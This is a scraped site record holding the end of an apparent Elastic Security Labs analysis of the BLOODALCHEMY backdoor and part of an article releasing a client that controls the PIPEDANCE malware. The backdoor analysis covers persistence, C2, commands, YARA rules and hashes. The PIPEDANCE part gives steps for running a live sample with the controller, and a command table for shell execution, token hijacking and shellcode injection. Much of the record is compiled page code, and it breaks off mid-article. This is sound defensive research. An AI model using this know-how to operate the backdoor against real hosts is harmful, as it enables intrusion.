remote process\",width:\"761\",height:\"261\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image20.png\",alt:\"Final part of the process injection procedure\",width:\"685\",height:\"76\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Or install and run itself as a service. In this scenario, the service name and description will be \",(0,n.jsx)(e.code,{children:\"Test\"}),\" and \",(0,n.jsx)(e.code,{children:\"Digital Imaging System\"}),\":\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image26.png\",alt:\"Name and description strings used to install the BLOODALCHEMY service\",width:\"495\",height:\"67\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Also when running as a service and started by the service manager the malware will masquerade itself as stopped by first setting the service status to \\u201CSERVICE_RUNNING\\u201D then setting the status to \\u201CSERVICE_STOPPED\\u201D while in fact the malware is still running.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image30.png\",alt:\"BLOODALCHEMY\\u2019s service entry point masquerading service status\",width:\"876\",height:\"108\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"communication\",children:\"Communication\"}),`\n`,(0,n.jsx)(e.p,{children:\"The malware communicates using either the HTTP protocol, named pipes, or sockets.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"When using the HTTP protocol the malware requests the following URI \",(0,n.jsx)(e.code,{children:\"/Inform/logger/.\"})]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image27.png\",alt:\"URI used to connect to C2\",width:\"646\",height:\"26\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In this scenario, BLOODALCHEMY will try to use any proxy server found in the registry key \",(0,n.jsx)(e.code,{children:\"SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image28.png\",alt:\"Host proxy information gathered from registry\",width:\"1002\",height:\"434\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"We did not uncover any C2 infrastructure with our sample, but the URL could look something like this: \",(0,n.jsx)(e.code,{children:\"https://malwa[.]re/Inform/logger\"})]}),`\n`,(0,n.jsx)(e.p,{children:\"When using a named pipe, the name is randomly generated using the current PID as seed.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image9.png\",alt:\"Random pipe name generation seeded with current PID\",width:\"556\",height:\"48\"})}),`\n`,(0,n.jsx)(e.p,{children:\"While waiting for a client to connect to this named pipe the malware scans the running processes and checks that its parent process is still running, this may be to limit access to the named pipe. That said, the malware is not checking that the pipe client is the correct parent process, only that the parent process is running. This introduces flawed logic in protecting the named pipe.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image16.png\",alt:\"Retrieve parent PID\",width:\"352\",height:\"19\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image7.png\",alt:\"Flawed check for restricting pipe access to parent process\",width:\"1077\",height:\"293\"})}),`\n`,(0,n.jsx)(e.p,{children:\"From the malware strings and imports we know that the malware can also operate using TCP/UDP sockets.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image17.png\",alt:\"Usage of the socket API in one of the implementations of the \\u201Ccommunication\\u201D interface\",width:\"223\",height:\"161\"})}),`\n`,(0,n.jsx)(e.p,{children:\"While we haven\\u2019t made any conclusions about their usage, we list all the protocols found in the encrypted strings.\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"DNS://\"}),`\n`,(0,n.jsx)(e.li,{children:\"HTTP://\"}),`\n`,(0,n.jsx)(e.li,{children:\"HTTPS://\"}),`\n`,(0,n.jsx)(e.li,{children:\"MUX://\"}),`\n`,(0,n.jsx)(e.li,{children:\"UDP://\"}),`\n`,(0,n.jsx)(e.li,{children:\"SMB://\"}),`\n`,(0,n.jsx)(e.li,{children:\"SOCKS5://\"}),`\n`,(0,n.jsx)(e.li,{children:\"SOCKS4://\"}),`\n`,(0,n.jsx)(e.li,{children:\"TCP://\"}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"For all protocols the data can be encrypted, \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6\",rel:\"nofollow\",children:\"LZNT1 compressed\"}),\", and/or Base64-encoded.\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"commands\",children:\"Commands\"}),`\n`,(0,n.jsx)(e.p,{children:\"The malware only contains a few commands with actual effects:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Write/overwrite the malware toolset\"}),`\n`,(0,n.jsxs)(e.li,{children:[\"Launch its malware binary \",(0,n.jsx)(e.code,{children:\"Test.exe\"})]}),`\n`,(0,n.jsx)(e.li,{children:\"Uninstall and terminate\"}),`\n`,(0,n.jsx)(e.li,{children:\"Gather host information\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"There are three commands that write (or overwrite) the malware tool set with the received Base64-encoded binary data:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"Either the malware binary (\",(0,n.jsx)(e.code,{children:\"Test.exe\"}),\")\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"the sideloaded DLL (\",(0,n.jsx)(e.code,{children:\"BrLogAPI.dll\"}),\")\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"or the main trusted binary (\",(0,n.jsx)(e.code,{children:\"BrDifxapi.exe\"}),\")\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image8.png\",alt:\"BLOODALCHEMY tool set overwrite commands\",width:\"744\",height:\"129\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"One command that launches the \",(0,n.jsx)(e.code,{children:\"Test.exe\"}),\" binary in the persistence folder.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image19.png\",alt:\"BLOODALCHEMY command to run the malware executable binary\",width:\"496\",height:\"30\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The uninstall and terminate itself command will first delete all its files at specific locations then remove any persistence registry key or scheduled task, then remove installed service and finish by terminating itself.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image14.png\",alt:\"Command to uninstall and terminate itself\",width:\"368\",height:\"44\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image2.png\",alt:\"Uninstall function\",width:\"723\",height:\"393\"})}),`\n`,(0,n.jsx)(e.p,{children:\"One host information gathering command: CPU, OS, display, network, etc.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image22.png\",alt:\"Information gathering command\",width:\"483\",height:\"45\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"summary\",children:\"Summary\"}),`\n`,(0,n.jsx)(e.p,{children:\"BLOODALCHEMY is a backdoor shellcode containing only original code(no statically linked libraries). This code appears to be crafted by experienced malware developers.\"}),`\n`,(0,n.jsx)(e.p,{children:\"The backdoor contains modular capabilities based on its configuration. These capabilities include multiple persistence, C2, and execution mechanisms.\"}),`\n`,(0,n.jsx)(e.p,{children:\"While unconfirmed, the presence of so few effective commands indicates that the malware may be a subfeature of a larger intrusion set or malware package, still in development, or an extremely focused piece of malware for a specific tactical usage.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"bloodalchemy-and-mitre-attck\",children:\"BLOODALCHEMY and MITRE ATT\u0026CK\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Elastic uses the \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\"MITRE ATT\u0026CK\"}),\" framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,n.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011/\",rel:\"nofollow\",children:\"Command and Control\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005/\",rel:\"nofollow\",children:\"Defense Evasion\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002/\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/\",rel:\"nofollow\",children:\"Process Injection\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"malware-prevention-capabilities\",children:\"Malware prevention capabilities\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BloodAlchemy.yar\",rel:\"nofollow\",children:\"BLOODALCHEMY\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"yara\",children:\"YARA\"}),`\n`,(0,n.jsx)(e.p,{children:\"Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BLOODALCHEMY malware:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-yara\",children:`BLOODALCHEMY\nrule Windows_Trojan_BloodAlchemy_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { 55 8B EC 51 83 65 FC 00 53 56 57 BF 00 20 00 00 57 6A 40 FF 15 }\n $a2 = { 55 8B EC 81 EC 80 00 00 00 53 56 57 33 FF 8D 45 80 6A 64 57 50 89 7D E4 89 7D EC 89 7D F0 89 7D }\n\n condition:\n all of them\n}\n\nrule Windows_Trojan_BloodAlchemy_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { 55 8B EC 83 EC 54 53 8B 5D 08 56 57 33 FF 89 55 F4 89 4D F0 BE 00 00 00 02 89 7D F8 89 7D FC 85 DB }\n $a2 = { 55 8B EC 83 EC 0C 56 57 33 C0 8D 7D F4 AB 8D 4D F4 AB AB E8 42 10 00 00 8B 7D F4 33 F6 85 FF 74 03 8B 77 08 }\n\n condition:\n any of them\n}\n\nrule Windows_Trojan_BloodAlchemy_3 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a = { 55 8B EC 83 EC 38 53 56 57 8B 75 08 8D 7D F0 33 C0 33 DB AB 89 5D C8 89 5D D0 89 5D D4 AB 89 5D }\n\n condition:\n all of them\n}\n\nrule Windows_Trojan_BloodAlchemy_4 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a = { 55 8B EC 83 EC 30 53 56 57 33 C0 8D 7D F0 AB 33 DB 68 02 80 00 00 6A 40 89 5D FC AB AB FF 15 28 }\n\n condition:\n all of them\n}\n`})}),`\n`,(0,n.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"All observables are also available for \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/ref5961\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format in a combined zip bundle.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Observable\"}),(0,n.jsx)(e.th,{children:\"Type\"}),(0,n.jsx)(e.th,{children:\"Name\"}),(0,n.jsx)(e.th,{children:\"Reference\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.code,{children:\"e14ee3e2ce0010110c409f119d56f6151fdca64e20d902412db46406ed89009a\"})}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:(0,n.jsx)(e.code,{children:\"BrLogAPI.dll\"})}),(0,n.jsx)(e.td,{children:\"BLOODALCHEMY loader\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.code,{children:\"25268bc07b64d0d1df441eb6f4b40dc44a6af568be0657533088d3bfd2a05455\"})}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"NA\"}),(0,n.jsx)(e.td,{children:\"BLOODALCHEMY payload\"})]})]})]})})]})}function v(i={}){let{wrapper:e}=i.components||{};return e?(0,n.jsx)(e,Object.assign({},i,{children:(0,n.jsx)(d,i)})):d(i)}var A=v;return w(k);})();\n;return Component;"},"_id":"articles/disclosing-the-bloodalchemy-backdoor.mdx","_raw":{"sourceFilePath":"articles/disclosing-the-bloodalchemy-backdoor.mdx","sourceFileName":"disclosing-the-bloodalchemy-backdoor.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/disclosing-the-bloodalchemy-backdoor"},"type":"Article","imageUrl":"/assets/images/disclosing-the-bloodalchemy-backdoor/photo-edited-05@2x.jpg","readingTime":"15 min read","series":"","url":"/disclosing-the-bloodalchemy-backdoor","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Initial execution","href":"#initial-execution"},{"level":2,"title":"Code analysis","href":"#code-analysis"},{"level":3,"title":"Data Obfuscation","href":"#data-obfuscation"},{"level":3,"title":"Persistence","href":"#persistence"},{"level":3,"title":"Running modes","href":"#running-modes"},{"level":3,"title":"Communication","href":"#communication"},{"level":3,"title":"Commands","href":"#commands"},{"level":2,"title":"Summary","href":"#summary"},{"level":2,"title":"BLOODALCHEMY and MITRE ATT\u0026CK","href":"#bloodalchemy-and-mitre-attck"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":2,"title":"Malware prevention capabilities","href":"#malware-prevention-capabilities"},{"level":2,"title":"YARA","href":"#yara"},{"level":2,"title":"Observations","href":"#observations"}],"author":[{"title":"Cyril François","slug":"cyril-francois","description":"Elastic Security Labs Team Senior Research Engineer, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=x(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=d((w,c)=\u003e{c.exports=_jsx_runtime});var b={};j(b,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Cyril Fran\\xE7ois\",description:\"Elastic Security Labs Team Senior Research Engineer, Malware\",slug:\"cyril-francois\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var F=C;return y(b);})();\n;return Component;"},"_id":"authors/cyril-francois.mdx","_raw":{"sourceFilePath":"authors/cyril-francois.mdx","sourceFileName":"cyril-francois.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/cyril-francois"},"type":"Author","imageUrl":"","url":"/authors/cyril-francois"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Dancing the night away with named pipes - PIPEDANCE client release","slug":"dancing-the-night-away-with-named-pipes","date":"2023-10-05","description":"In this publication, we will walk through this client application’s functionality and how to get started with the tool.","image":"photo-edited-12@2x.jpg","tags":["pipedance","ref1326"],"body":{"raw":"\n## Introduction\n\nThis year at [VB2023](https://www.virusbulletin.com/conference/), a globally renowned malware conference, Daniel Stepanic of the Elastic Security Labs team presented new insights into PIPEDANCE – a malware we [disclosed](https://twitter.com/elasticseclabs/status/1630289166008287232) earlier this year. In addition to the talk, we released a [client](https://github.com/elastic/PIPEDANCE) application that enables threat research, offering learning opportunities for both offensive and defensive teams. In this publication, we will walk through this client application’s functionality and how to get started with the tool. Our goal with this research is to help defenders improve their understanding of PIPEDANCE by emulating techniques from this malware, used by a formidable threat group. This includes different behaviors such as:\n\n - Command and control communication through named pipes\n - Different styles of process injection \n - Performing network connectivity checks\n - System/network discovery and enumeration\n\n## Recap\n\nPIPEDANCE is a custom malware family used by a state-sponsored group to perform post-compromise activities. It's purpose-built to enable lateral movement, deploy additional implants, and perform reconnaissance functions. PIPEDANCE uses named pipes as its main channel for command and control communication. With a variety of unique features, we believe it’s a useful example to share for research purposes and can help defenders validate security tooling.\n\nFor a detailed analysis of the PIPEDANCE malware, check out our [previous research](https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance).\n\n## Development\n\nTo get a better understanding of different features within malware, our team at Elastic Security Labs sometimes writes custom applications and controllers to interact with the malware or malware infrastructure. This process helps cultivate knowledge of a sample’s core features, assists in understanding the control flow better, and further validates different areas such as inputs and outputs to functions and data structures. Another key benefit is to uncover functionality that was not directly observed during an intrusion but is still contained in the malware. This allows our team to collect more intelligence, build additional detections, and understand more of the adversary’s objectives behind the malware. \n\nWhile we don't cover these exact scenarios in this publication, here are some things that you can do with the client (but you may think of others):\n\n - Understand how malware abuses named pipes\n - Verify data sources for security tooling around network activity using named pipes\n - Build a network decoder using PCAP data from PIPEDANCE’s communication requests\n\nWith the release of the client, we're hoping that the community can write additional PIPEDANCE clients in your favorite language and compare notes.\n\n![Emulated PIPEDANCE Injection functionality](/assets/images/dancing-the-night-away-with-named-pipes/image3.jpg)\n\n\n## Getting Started\n\n_**Note:** Please review the [requirements](https://github.com/elastic/PIPEDANCE/blob/main/README.md#requirements) before setting up the lab environment. For this example, we will use two different endpoints in the same local network where named pipes, inter-process communication, and SMB settings are configured properly._\n\nThe first step is to download the PIPEDANCE [sample](https://malshare.com/sample.php?action=detail\u0026hash=e5ae20ac5bc2f02a136c3cc3c0b457476d39f809f28a1c578cda994a83213887) (free [registration](https://malshare.com/register.php) required) and start the program without any arguments on one endpoint. This machine is the targeted endpoint where the adversary is interested in running additional implants and performing reconnaissance. After execution, a named pipe will be created and await an incoming connection from our client. \n\n```\n.\\e5ae20ac5bc2f02a136c3cc3c0b457476d39f809f28a1c578cda994a83213887\n```\n\nNow that PIPEDANCE is running on our targeted machine, download and compile the client files within the [repository](https://github.com/elastic/PIPEDANCE). The PIPEDANCE malware uses a hard-coded string, `u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe`, that serves as the named pipe name and RC4 key.\n\n![Hardcoded named pipe/RC4 key within PIPEDANCE](/assets/images/dancing-the-night-away-with-named-pipes/image2.png)\n\n\nTake the newly compiled client program and execute it on a separate endpoint with one argument using either the target IP address or hostname of the machine running PIPEDANCE (machine from the previous step). An example of this would be: \n\n```\npipedance_client.exe 192.168.47.130\n```\n\nAfter execution, the client will check in with the PIPEDANCE victim to retrieve the PID of the malicious process, working directory, and user running the process. A menu of commands should be listed allowing the operator to perform various post-compromise activities.\n\n![PIPEDANCE Client Menu](/assets/images/dancing-the-night-away-with-named-pipes/image1.png)\n\n\nThe appendix below contains the functions and their supported arguments.\n\n## Conclusion\n\nAs part of our research investigating PIPEDANCE, we are releasing a client application that interacts with the malware. This tool can be used to evaluate existing security prevention/detection technologies as well as used for threat research purposes. Please check out our [repository](https://github.com/elastic/PIPEDANCE), there is also a detection section with behavioral/YARA/hunting rules.\n\n## Appendix\n\n### Handler Commands\n\n| Command ID | Description | Arguments |\n|---|---|---|\n| 0 | Stop | PIPEDANCE client |\n| 1 | Terminate process by PID | PID (ex. 9867) |\n| 2 | Run shell command and print output | Command (ex. ipconfig) | \n| 4 | List files in current working directory |\n| 6 | Write file to disk | Filename (full path), file content |\n| 7 | Get current working directory |\n| 8 | Change current working directory | Folder path |\n| 9 | List running processes |\n| 23 | Create random process with hijacked token from provided PID and inject shellcode (32bits) | PID (token hijack), shellcode |\n| 24 | Create random process with hijacked token from provided PID and inject shellcode (64bits) | PID (token hijack), shellcode |\n| 25 | Open process from provided PID and inject shellcode (32bits) | PID (thread hijack), shellcode |\n| 26 | Open process from provided PID and inject shellcode (64bits) | PID (thread hijack), shellcode |\n| 71 | HTTP connectivity check | Domain (ex. google.com) \n| 72 | DNS connectivity check with provided DNS server IP | DNS server IP\n| 73 | ICMP connectivity check | ICMP server IP |\n| 74 | TCP connectivity check | IP, port |\n| 75 | DNS connectivity check without DNS server |\n| 99 | Disconnect pipe / exit thread |\n| 100 | Terminate PIPEDANCE process / disconnect Pipe / exit thread |\n","code":"var Component=(()=\u003e{var s=Object.create;var a=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var g=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var i in e)a(n,i,{get:e[i],enumerable:!0})},c=(n,e,i,d)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of m(e))!f.call(n,r)\u0026\u0026r!==i\u0026\u0026a(n,r,{get:()=\u003ee[r],enumerable:!(d=p(e,r))||d.enumerable});return n};var P=(n,e,i)=\u003e(i=n!=null?s(u(n)):{},c(e||!n||!n.__esModule?a(i,\"default\",{value:n,enumerable:!0}):i,n)),y=n=\u003ec(a({},\"__esModule\",{value:!0}),n);var l=g((C,o)=\u003e{o.exports=_jsx_runtime});var D={};w(D,{default:()=\u003eE,frontmatter:()=\u003eb});var t=P(l()),b={title:\"Dancing the night away with named pipes - PIPEDANCE client release\",slug:\"dancing-the-night-away-with-named-pipes\",date:\"2023-10-05\",description:\"In this publication, we will walk through this client application\\u2019s functionality and how to get started with the tool.\",author:[{slug:\"daniel-stepanic\"}],image:\"photo-edited-12@2x.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"pipedance\",\"ref1326\"]};function h(n){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",ul:\"ul\",li:\"li\",img:\"img\",em:\"em\",strong:\"strong\",pre:\"pre\",code:\"code\",h3:\"h3\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This year at \",(0,t.jsx)(e.a,{href:\"https://www.virusbulletin.com/conference/\",rel:\"nofollow\",children:\"VB2023\"}),\", a globally renowned malware conference, Daniel Stepanic of the Elastic Security Labs team presented new insights into PIPEDANCE \\u2013 a malware we \",(0,t.jsx)(e.a,{href:\"https://twitter.com/elasticseclabs/status/1630289166008287232\",rel:\"nofollow\",children:\"disclosed\"}),\" earlier this year. In addition to the talk, we released a \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/PIPEDANCE\",rel:\"nofollow\",children:\"client\"}),\" application that enables threat research, offering learning opportunities for both offensive and defensive teams. In this publication, we will walk through this client application\\u2019s functionality and how to get started with the tool. Our goal with this research is to help defenders improve their understanding of PIPEDANCE by emulating techniques from this malware, used by a formidable threat group. This includes different behaviors such as:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Command and control communication through named pipes\"}),`\n`,(0,t.jsx)(e.li,{children:\"Different styles of process injection\"}),`\n`,(0,t.jsx)(e.li,{children:\"Performing network connectivity checks\"}),`\n`,(0,t.jsx)(e.li,{children:\"System/network discovery and enumeration\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"recap\",children:\"Recap\"}),`\n`,(0,t.jsx)(e.p,{children:\"PIPEDANCE is a custom malware family used by a state-sponsored group to perform post-compromise activities. It's purpose-built to enable lateral movement, deploy additional implants, and perform reconnaissance functions. PIPEDANCE uses named pipes as its main channel for command and control communication. With a variety of unique features, we believe it\\u2019s a useful example to share for research purposes and can help defenders validate security tooling.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For a detailed analysis of the PIPEDANCE malware, check out our 